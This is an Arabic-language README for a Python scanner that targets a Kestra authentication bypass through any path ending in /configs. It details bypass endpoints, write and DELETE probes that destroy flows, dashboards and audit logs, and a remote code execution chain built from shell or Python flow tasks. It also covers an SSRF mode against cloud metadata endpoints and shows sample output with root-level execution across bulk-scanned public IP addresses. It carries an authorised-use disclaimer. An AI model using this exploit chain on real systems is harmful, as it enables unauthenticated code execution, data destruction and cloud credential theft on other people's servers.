
Kestra Auth-Bypass Vulnerability Checker
يقوم بفحص نسخ Kestra بحثًا عن تجاوز فلتر المصادقة endsWith("/configs"). يتحقق AuthenticationFilter.java في Kestra من request.getPath().endsWith("/configs") بدلاً من مطابقة المسار التام /api/v1/configs. نظرًا لأن Kestra تعالج الموارد عبر مقاطع مسار يختارها المتصل (مساحة الاسم، معرف التدفق)، فإن أي مسار ينتهي بـ /configs يتجاوز المصادقة الأساسية مما يتيح إنشاء تدفقات غير مصادق عليها وتنفيذ تعليمات برمجية عن بُعد. (CVSS 10.0)
المراجع:
GET /api/v1/configs (يجب أن يعيد 200؛ يُحلل جسم الاستجابة لاستخراج إصدار Kestra)GET /api/v1/{tenant}/flows (يجب أن يعيد 401/403 إذا كانت المصادقة مُطبقة)/configs؛ إذا أعاد أي منها غير 401/403 بينما فحص المصادقة يلزم، فإن المثيل عرضة للخطر--aggressive) يرسل أيضًا طلبات PUT لتأكيد إمكانية التجاوز للكتابة--rce) السلسلة الكاملة: إنشاء تدفق شل/بايثون → تشغيل التنفيذ → استرداد السجلات → تأكيد تنفيذ الأمر → التنظيف--ssrf) ينشئ تدفقًا يستخدم http() من Pebble لاستهداف بيانات تعريف السحابة AWS/GCP/Azure ونقاط النهاية الداخلية، ثم يتحقق من السجلات بحثًا عن أدلة--destructive) يرسل DELETE إلى مسارات تجاوز التدفقات ولوحات المعلومات والسجلات لتأكيد تجاوز العمليات التدميرية| الاختبار | الطريقة | المسار | الوصف |
|---|---|---|---|
| الإعدادات العامة | GET | /api/v1/configs | فحص البقاء + استخراج الإصدار |
| الحماية العادية | GET | /api/v1/{tenant}/flows | أساس تطبيق المصادقة |
| تجاوز التدفقات | GET | /api/v1/{tenant}/flows/{namespace}/configs | تجاوز قائمة التدفقات |
| تجاوز التنفيذات | GET | /api/v1/{tenant}/executions/{namespace}/configs | تجاوز التنفيذ |
| تجاوز مخزن KV | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | تجاوز قراءة KV |
| تجاوز لوحات المعلومات | GET | /api/v1/{tenant}/dashboards/configs | تجاوز لوحة المعلومات |
| تجاوز السجلات | GET | /api/v1/{tenant}/logs/{namespace}/configs | تجاوز الوصول للسجلات |
| تجاوز القوالب | GET | /api/v1/{tenant}/templates/{namespace}/configs | تجاوز قراءة القالب |
--aggressive)| الاختبار | الطريقة | المسار | الوصف |
|---|---|---|---|
| تجاوز PUT للتدفقات | PUT | نفس تجاوز التدفقات | ينشئ تدفقًا بسيطًا debug.Return |
| تجاوز PUT لـ KV | PUT | نفس تجاوز KV | ينشئ إدخال KV {"scanned": true} |
--destructive)| الاختبار | الطريقة | المسار | الوصف |
|---|---|---|---|
| تجاوز DELETE للتدفقات | DELETE | نفس تجاوز التدفقات | يحذف موردًا باسم "configs" |
| تجاوز DELETE للوحات المعلومات | DELETE | نفس تجاوز لوحات المعلومات | يحذف لوحة معلومات باسم "configs" |
| تجاوز DELETE للسجلات | DELETE | نفس تجاوز السجلات | يدمر سجلات التدقيق |
--rce)تعمل فقط عند تأكيد تجاوز المصادقة. السلسلة الكاملة من الإعلان الأمني:
| الخطوة | الطريقة | المسار | الوصف |
|---|---|---|---|
| 1. إنشاء تدفق RCE | PUT | /api/v1/{tenant}/flows/{namespace}/configs | ينشر تدفقًا باستخدام io.kestra.plugin.scripts.shell.Commands (echo <marker>، id، hostname). يتراجع إلى io.kestra.plugin.scripts.python.Script في حالة الفشل. |
| 2. تشغيل التنفيذ | POST | /api/v1/{tenant}/executions/{namespace}/configs | يبدأ التدفق عبر مسار التجاوز |
| 3. استقصاء السجلات | GET | /api/v1/{tenant}/logs/search?executionId=<id> | يستقصي حتى --poll-retries مرة (افتراضي 10) كل --poll-interval ثانية (افتراضي 3) بحثًا عن علامة RCE الفريدة |
| 4. التنظيف | DELETE | نفس الخطوة 1 | يزيل التدفق المنشور |
--ssrf)تعمل فقط عند تأكيد تجاوز المصادقة:
| الخطوة | الطريقة | المسار | الوصف |
|---|---|---|---|
| 1. إنشاء تدفق SSRF | PUT | /api/v1/{tenant}/flows/{namespace}/configs | ينشر مهمة debug.Return مع استدعاءات Pebble http() إلى AWS (169.254.169.254/latest/meta-data/ami-id) و GCP (metadata.google.internal) و Azure (169.254.169.254/metadata/instance) وداخلية (127.0.0.1:8080/api/v1/configs) |
| 2. تشغيل التنفيذ | POST | نفس خطوة RCE 2 | يشغل التدفق |
| 3. استقصاء السجلات | GET | /api/v1/{tenant}/logs/search?executionId=<id> | يتحقق من وجود مؤشرات بيانات تعريف السحابة (ami-، i-، 169.254.169.254، metadata.google.internal، إلخ.) |
| 4. التنظيف | DELETE | نفس الخطوة 1 | يزيل التدفق المنشور |
positional:
target رابط الهدف (مثل http://localhost:8080)
options:
-f, --file ملف يحتوي على أهداف (سطر واحد لكل هدف)
-t, --timeout مهلة الطلب بالثواني (افتراضي: 10)
--verify-ssl التحقق من شهادات TLS
-j, --json إخراج JSON إلى stdout
-o, --output كتابة تقرير JSON إلى ملف
--tenant اسم المستأجر (افتراضي: "main")
--namespace مساحة الاسم لمسارات التجاوز (افتراضي: "tutorial")
-w, --workers عدد الخيوط للمسح الجماعي (افتراضي: 10)
-a, --aggressive إرسال طلبات PUT لتأكيد تجاوز الكتابة
-P, --auto-ports المنافذ للتوسيع التلقائي (افتراضي: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce تفعيل سلسلة التحقق من RCE (تدفق شل + بايثون،
تشغيل التنفيذ، استرداد السجلات، التنظيف التلقائي)
-s, --ssrf تفعيل كشف SSRF (Pebble http() لنقاط نهاية بيانات تعريف
السحابة، جمع الأدلة من السجلات)
-d, --destructive تفعيل استكشافات DELETE على التدفقات ولوحات المعلومات
والسجلات (سيحذف الموارد على المثيلات الضعيفة)
--poll-interval الثواني بين استقصاءات السجلات لسلاسل RCE/SSRF (افتراضي: 3)
--poll-retries الحد الأقصى لمحاولات استقصاء السجلات لسلاسل RCE/SSRF (افتراضي: 10)
تفصيل كامل لكل اختبار مع إثراء (الإصدار، حالة RCE، SSRF، DELETE) والحكم:
====================================================================
Target: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Version: 1.3.20 (AFFECTED)
RCE: CONFIRMED via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTED
| Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE BYPASS: CONFIRMED destructive ops bypass auth
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: YES
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: No
...
── RCE Verification Chain ──
Flow Create: 201
Exec Trigger: 201
Log Evidence: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Flow Cleanup: 204
── SSRF Detection Chain ──
Flow Create: 201
Exec Trigger: 201
Evidence: 200
Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
Flow Cleanup: 204
[VULN] Verdict: VULNERABLE ...
====================================================================
جدول عمودي مرتب مع أعمدة RCE/SSRF/DEL:
========================================================================================================================================
BULK SCAN SUMMARY GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Target Auth Flows Exec KV Dash Logs Tmpl RCE SSRF DEL Ver
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 YES YES YES RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - YES VULN
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SAFE
...
========================================================================================================================================
Total: 258 | Vulnerable: 5 | RCE Confirmed: 1 | SSRF Detected: 1 | DEL Bypass: 2 | Safe: 29 | Inconclusive: 224
========================================================================================================================================
رموز الخروج: 0 = لا توجد ثغرات، 1 = تم العثور على ثغرة، 2 = جميعها غير حاسمة.
عند استخدام -j أو -o، يتضمن الإخراج حقول إثراء لكل هدف:
{
"scan_info": {
"scanner": "kestra_cve v2.0.0",
"cve": ["CVE-2026-49869", "CVE-2026-53576"],
"aggressive": true,
"rce": true,
"ssrf": true,
"destructive": true
},
"results": [
{
"target": "http://10.0.0.1:8080",
"vulnerable": true,
"version": "1.3.20",
"version_in_affected_range": true,
"rce_confirmed": true,
"rce_method": "shell",
"rce_evidence": "SCAN_RCE_a1b2c3d4e5f6\nuid=0(root)",
"ssrf_detected": true,
"ssrf_evidence": "Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080",
"delete_bypass": true,
"probes": { "..." : "..." }
}
],
"summary": {
"total": 258,
"vulnerable": 5,
"rce_confirmed": 1,
"ssrf_detected": 1,
"delete_bypass": 2,
"safe": 29,
"inconclusive": 224
}
}
يستخرج الماسح تلقائيًا إصدار Kestra من رد GET /api/v1/configs ويصنفه:
| الإصدار | التصنيف |
|---|---|
<= 1.0.44 | مُتأثّر (فرع 1.0، قبل التصحيح) |
>= 1.0.45 | مُصحَّح (فرع 1.0) |
1.3.0 1.3.20 | مُتأثّر (فرع 1.3، قبل التصحيح) |
>= 1.3.21 | مُصحَّح (فرع 1.3) |
>= 1.4.0 | مُصحَّح (أحدث من النطاق المتأثّر) |
| غير معروف | لم يتم العثور على الإصدار في الرد |
يستخدم هذا المقارنة الواعية بالفرع حيث تحتفظ Kestra بفروع تصحيح منفصلة (1.0.x و 1.3.x).
يتطلب Python 3.10+.
pip install -r requirements.txt
python main.py --help
للاستخدام الاختباري الدفاعي المصرح به فقط. العلامتان --rce و --destructive تنشئان وتنفذان موارد حقيقية على الهدف. احصل دائمًا على إذن كتابي مناسب قبل مسح أنظمة لا تملكها.